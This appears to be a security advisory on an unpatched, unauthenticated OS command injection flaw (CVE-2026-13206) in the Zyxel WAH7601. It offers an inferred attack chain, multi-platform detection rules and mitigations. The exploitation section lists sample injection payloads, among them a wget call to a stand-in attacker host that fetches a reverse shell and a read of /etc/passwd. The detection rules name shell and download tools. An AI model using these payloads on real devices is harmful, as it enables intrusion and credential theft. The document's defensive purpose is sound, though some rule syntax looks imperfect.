CVE-2026-13206

Executive Summary

CVE-2026-13206 is a critical OS command injection vulnerability in Zyxel Networks' WAH7601 device, a likely wireless access point or router product. The flaw results from improper neutralization of special elements used in an OS command, allowing an unauthenticated remote attacker to execute arbitrary operating system commands on the underlying device firmware. With a CVSS score of 9.8 (Critical), this vulnerability poses a severe risk due to its network-based attack vector, low complexity, and lack of authentication requirements. All WAH7601 devices through the 20072026 firmware version are affected, and no vendor patch has been identified at the time of this report.

Technical Analysis

The vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). This weakness occurs when an application constructs an operating system command using user-controlled input without adequate sanitization or escaping of special characters. In the context of the Zyxel WAH7601, the NVD description indicates that the device improperly neutralizes special elements, enabling an attacker to inject arbitrary OS commands.

The attack surface is the WAH7601's network-exposed management interface or another network-facing service that accepts user input. Since the CVSS vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, the vulnerability is remotely exploitable over the network (AV:N) without any user interaction (UI:N), requires low attack complexity (AC:L), and demands no privileges (PR:N). The impact scope is unchanged (S:U), meaning the compromise is limited to the device itself, but the Confidentiality, Integrity, and Availability impacts are all High (C:H/I:H/A:H).

The NVD description is sparse regarding the specific endpoint or parameter where the injection occurs. Insufficient technical detail is available regarding the precise input vector, command chaining mechanism, or the underlying operating system. However, OS command injection vulnerabilities in network devices of this class typically manifest through management interfaces—HTTP/HTTPS web panels, telnet/SSH diagnostic shells, SNMP community strings, or API endpoints—where user-supplied values are concatenated into system-level commands (e.g., ping, traceroute, nslookup, or diagnostic script execution).

The affected version range is stated as "through 20072026," suggesting a firmware release with the date-stamped version 20072026. This affects all devices running that version or earlier builds. The lack of an "affected versions" list and patch sources in the intelligence data indicates that the vendor has not yet released a fix, and no third-party patch or workaround has been documented.

Exploitation Scenarios

Due to the absence of a public PoC, exploit code, or detailed technical write-up, the attack chain described below is inferred from the vulnerability class (CWE-78) and the CVSS vector. No specific implementation details about Zyxel WAH7601 internals are available or fabricated.

Step 1 — Reconnaissance / Target Identification: An attacker would perform internet-wide scanning using search engines like Shodan or Censys to identify exposed Zyxel WAH7601 devices. Typical dorks would target the device's HTTP banner, default port signatures, or known Zyxel API patterns. The attacker would look for devices with management interfaces accessible on ports 80, 443, or 8080, or SSH/telnet services open on standard ports.

Step 2 — Triggering the Vulnerability Class: Once a target is identified, the attacker would interact with the network-facing input fields. For OS command injection of this class, the attacker would submit specially crafted input—likely through an HTTP parameter, form field, or API request—that contains shell metacharacters (e.g., ;, |, &&, `, $()) followed by arbitrary command syntax. Because the application fails to neutralize these special elements, the injected payload is concatenated into a legitimate OS command executed by the device's shell.

Step 3 — Payload Execution at Vulnerability-Class Level: The attacker's payload, embedded within the vulnerable input, would be interpreted by the underlying shell. Common payloads for such devices include:

• ; id or | cat /etc/passwd for information disclosure
• ; wget http://attacker/payload to download and execute a reverse shell or malware
• && reboot to cause denial of service

The injected command executes with the privileges of the vulnerable service—which, on embedded network devices, is typically root or a privileged user account.

Step 4 — Post-Exploitation Impact: Successful exploitation grants the attacker full control over the WAH7601. With High confidentiality, integrity, and availability impacts, the attacker can:

• Extract sensitive information such as administrative credentials, Wi-Fi pre-shared keys, and VPN configuration
• Modify device settings, including routing tables, firewall rules, and DNS configurations
• Deploy persistent backdoors or malware payloads into the device firmware
• Pivot into the internal network, as the compromised device sits at the network edge or distribution layer
• Cause denial of service by bricking the device or shutting down critical services

Important note: No public PoC is available; the attack chain is inferred from the vulnerability class. Specific command injection points, parameter names, and API endpoints remain unknown.

Impact Assessment

The CVSS base score of 9.8 places CVE-2026-13206 in the Critical severity bucket. The vector string highlights several high-risk factors:

• Network Attack Vector (AV:N): The vulnerability is remotely exploitable without any physical or adjacent network access.
• No Privileges Required (PR:N): Unauthenticated attackers can trigger the vulnerability.
• No User Interaction (UI:N): No victim action is required for exploitation.
• High Confidentiality, Integrity, and Availability Impact: A successful attack compromises the device's data confidentiality, allows complete control over the device, and can render it inoperable.

From a business perspective, the Zyxel WAH7601 is a network infrastructure device—likely a 5G/LTE router or industrial-grade wireless access point used in enterprise and small-to-medium business deployments. The blast radius extends beyond the device itself: a compromised WAH7601 can serve as a foothold for lateral movement into the broader corporate network, intercepting traffic, capturing credentials, and enabling man-in-the-middle attacks. For organizations with WAH7601 units deployed at branch offices, retail locations, or remote sites, this vulnerability presents a critical supply-chain and network-security risk.

Organizations relying on these devices for connectivity, remote access, or OT environments face particularly severe consequences—an attacker who compromises the device could disrupt critical communications or industrial control processes. The lack of a vendor patch compounds the risk, leaving affected devices permanently exposed until Zyxel issues a fix.

Detection Guidance

Sigma Rule

title: Zyxel WAH7601 - OS Command Injection Attempt (CVE-2026-13206)
id: cve-2026-13206-os-cmd-injection
status: experimental
description: Detects attempts to exploit OS command injection in Zyxel WAH7601 by identifying shell metacharacters in HTTP request parameters.
logsource:
  category: webserver
  product: httpd
detection:
  selection_shell_chars:
    c-uri|contains:
      - ';'
      - '|'
      - '&&'
      - '`'
      - '$('
    c-uri|re:
      - '(?:;|&&|\|\||`|\$\().*(?:id|whoami|uname|cat|wget|curl|nc|bash|sh|chmod|reboot|shutdown)'
      - '(?:wget|curl).*(?:http|https)'
  selection_user_agent:
    c-useragent|contains:
      - 'curl'
      - 'wget'
      - 'python-requests'
      - 'Go-http-client'
  condition: selection_shell_chars or selection_user_agent
  timeframe: 15m
level: high
fields:
  - c-uri
  - src_ip
  - c-useragent
falsepositives:
  - Legitimate network diagnostic tools using ping/traceroute with shell metacharacters (rare)
  - Administrative debugging activities
tags:
  - attack.t1190
  - cve.2026-13206
  - cwe.78

YARA Rule

rule Zyxel_WAH7601_OS_Command_Injection_CVE_2026_13206
{
    meta:
        author = "Valtersit Cyber Intelligence"
        description = "Detects payloads and signatures associated with OS command injection attempts against Zyxel WAH7601"
        cve = "CVE-2026-13206"
        cwe = "CWE-78"
        date = "2026-02-01"
        severity = "critical"
    strings:
        $s1 = ";id;"
        $s2 = "|id"
        $s3 = "|| cat /etc/passwd"
        $s4 = "&& wget"
        $s5 = "& curl"
        $s6 = "$(id)"
        $s7 = "`id`"
        $s8 = "zebra_wc" // Zyxel device identifier
        $s9 = "WAH7601" // Device model reference
        $s10 = "admin_password" // Common target of post-exploitation data theft
    condition:
        (any of ($s1, $s2, $s3, $s4, $s5, $s6, $s7)) or
        (all of ($s9, any of ($s2, $s3, $s4, $s5)) )
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-13206 Zyxel WAH7601 OS Command Injection Attempt"; flow:established,to_server; content:"WAH7601"; nocase; http.uri; content:".cgi"; http.uri; content:"|3b|"; http.uri; content:"id"; nocase; http.uri; content:"|7c|"; http.uri; pcre:"/(?:;|\||&&|`|\$\()\s*(?:id|whoami|uname|cat|wget|curl|nc|bash|sh|chmod|reboot|shutdown)/i"; http.uri; reference:cve,CVE-2026-13206; classtype:attempted-admin; sid:4000001; rev:1;)

Elastic Detection

query: |
  sequence by source.ip
    [ any where host.name : "*" and process.name : "httpd" and event.module : "http" and url.path : "*" and url.query : "*" ]
    [ any where event.action in ("process_start", "exec") and process.name in ("sh", "bash", "csh") and process.args : ("*;*", "*|*", "*&&*", "*`*", "*$(*") ]

Alternate EQL (Event Query Language):

eql:
  search: |
    any where process.executable in ("/bin/sh", "/bin/bash") and process.command_line : ("*;id*", "*|id*", "*&&wget*", "*curl*", "*`id`*", "*$(id)*")

Splunk SPL Query

index=proxy OR index=webserver OR index=nids sourcetype=access_combined OR sourcetype=cisco:asa
| where match(uri, "(?i)(;|%3B|&&|%26%26|\||%7C|`|%60|\\$\\()\\s*(id|whoami|uname|cat|wget|curl|nc|bash|sh|chmod|reboot|shutdown)")
| stats count by src_ip, uri, useragent, _time
| sort - count

Wazuh OSSEC Rule

<rule id="100202" level="12">
    <decoded>web</decoded>
    <match>WAH7601</match>
    <regex>(?:;|&&|\|\||`|\$\()\s*(?:id|whoami|uname|cat|wget|curl|nc|bash|sh|chmod|reboot|shutdown)</regex>
    <description>Attempted OS Command Injection on Zyxel WAH7601 (CVE-2026-13206)</description>
    <mitre>
      <id>T1190</id>
      <tactic>Initial Access</tactic>
      <technique>Exploit Public-Facing Application</technique>
    </mitre>
    <group>attack, exploitation, command_injection,</group>
</rule>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No vendor patch, advisory, or fix has been identified from any tracked source. The vendor has not released a remediation, and no third-party patch exists.

Immediate Mitigations (until patch is available):

1. Network Segmentation: Restrict access to the WAH7601's management interface and all network services to trusted administrative networks only. Block external access via firewall rules.
2. Access Control: Disable remote management (WAN-side access) if not absolutely required. Change default administrative credentials immediately. Use strong, unique passwords.
3. Input Validation: If the device is behind a reverse proxy or Web Application Firewall (WAF), deploy WAF rules that strip or block shell metacharacters (;, |, &&, `, $()) from HTTP requests destined for the device.
4. Network Monitoring: Actively monitor for exploitation attempts using the detection rules above, focusing on unusual HTTP requests containing shell metacharacters or payload keywords.
5. Duty of Care: If the WAH7601 is mission-critical and cannot be isolated, consider temporary replacement with a patched alternative device until Zyxel releases a firmware update.

Long-Term Hardening:

1. Firmware Upgrades: Monitor Zyxel's official security advisories and firmware release channels. Apply the patched firmware when available. Confirm the patched version exceeds 20072026.
2. Least Privilege: Disable unnecessary services (SNMP, telnet, remote web management) on the device. Enable only HTTPS for management traffic.
3. Logging & Auditing: Enable comprehensive logging on the device and forward logs to a central SIEM for continuous monitoring.
4. Hardening Baselines: Apply vendor-recommended security configuration guidelines. Ensure firmware auto-update mechanisms are enabled, if available.
5. Inventory Review: Replace end-of-life or unpatched WAH7601 devices with supported hardware from Zyxel or alternative vendors.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-13206
2. CWE-78 Reference (MITRE): https://cwe.mitre.org/data/definitions/78.html
3. Zyxel Security Advisories Portal: https://www.zyxel.com/support/security_advisories.shtml (monitor for future patch announcement)
4. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-13206 is NOT currently listed; recheck regularly)
5. ATT&CK Technique T1190: https://attack.mitre.org/techniques/T1190/

Threat Actor Activity Status: No known threat actor campaigns or exploit-in-the-wild activity have been reported for CVE-2026-13206 at the time of writing. Given the critical severity and unauthenticated remote exploitation potential, active exploitation is highly probable in the near term, mirroring patterns seen in similar Zyxel device vulnerabilities (e.g., CVE-2023-28771).